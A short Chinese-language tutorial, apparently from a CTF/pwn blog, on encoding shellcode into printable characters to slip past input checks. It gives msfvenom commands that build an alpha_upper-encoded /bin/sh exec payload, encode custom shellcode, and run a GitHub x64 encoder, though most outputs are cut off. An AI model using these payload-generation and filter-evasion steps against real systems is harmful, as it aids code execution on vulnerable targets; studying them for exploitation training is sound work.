生成可打印的shellcode
TOC
有时候程序会对我们的payload进行一些可打印检查,比如进行 utf-8 编码等,这时候一般的 shellcode 是无法绕过检查的,这时候就需要我们对 shellcode 进行编码。
通过对网上资料的总结,找到了两种比较好的编码方法。
x86编码
x86编码
的话用msf
内置的encoder
就行了。
ex@Ex:~$ msfvenom -l encoders |
但是现在(2019-07-13)msf
中还没有x64
的alpha_upper
编码方式。
使用方法
使用msf
时,可以用内置的shellcode,其命令如下:
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax |
BufferRegister指的是指向shellcode的寄存器的值
如果不声明BufferRegister的话,生成的shellcode会有额外的几条指令来确定shellcode的位置,而那几条额外的指令却并不是可打印字符。
其结果如下所示:
ex@Ex:~/test$ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper -f python |
第二种,我们可以用msf
来编码自己写的shellcode,其命令如下:
cat shellcode | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax |
其运行结果如下:
ex@Ex:~/test$ cat shellcode | msfvenom -a x86 --platform linux -e x86/alpha_upper BufferRegister=eax |
x64编码
对于x64
的shellcode进行编码,Github上的 https://github.com/ecx86/shellcode_encoder 是很不错的,和msf
上的工具一样,都是要确定shellcode的地址才行。
其命令如下:
python2 main.py shellcode rax+29 |
运行结果如下:
ex@Ex:~/test/shellcode_encoder$ hexdump -C shellcode |
举例
printable.c
// x86: gcc -m32 printable.c -o printable32 |
在这个程序中,正常的 shellcode 会被直接绊住,所以就可以利用上面编码过的shellcode。
其结果如下:
ex@Ex:~/test$ file printable32 |